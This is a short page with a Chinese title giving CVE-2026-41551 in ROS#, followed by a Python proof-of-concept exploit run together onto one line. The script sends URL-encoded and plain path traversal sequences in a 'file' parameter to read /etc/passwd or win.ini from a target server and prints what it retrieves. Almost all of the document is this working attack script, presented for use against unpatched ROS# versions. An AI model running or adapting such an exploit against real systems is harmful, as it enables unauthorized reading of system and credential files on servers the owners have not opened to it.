CVE-2026-41551 ROS# 路径遍历漏洞

import requests # PoC for CVE-2026-41551: Path Traversal in ROS# # Target: ROS# < V2.2.2 # Description: This script attempts to read arbitrary files from the server using path traversal sequences. def exploit(target_url, file_path): # Common path traversal payloads traversal_sequences = [ "../../..", "..\\..\\..", "..%2F..%2F..%2F", "..%5C..%5C..%5C" ] for seq in traversal_sequences: # Construct the full payload. Assuming the vulnerable parameter is 'file'. # Adjust the parameter name based on the actual API endpoint. payload = f"{seq}{file_path}" params = {'file': payload} try: print(f"[*] Trying payload: {payload}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: # Check if the response contains content indicative of a successful file read # e.g., "root:" for /etc/passwd or "[extensions]" for win.ini if "root:" in response.text or "[extensions]" in response.text or "<?xml" in response.text: print(f"[+] Potential success with payload: {payload}") print(f"[+] Response snippet:\n{response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "http://192.168.1.100:8080/api/files" # Replace with actual target endpoint target_file = "/etc/passwd" # Target file to read print(f"[*] Starting PoC for CVE-2026-41551 against {target}") exploit(target, target_file)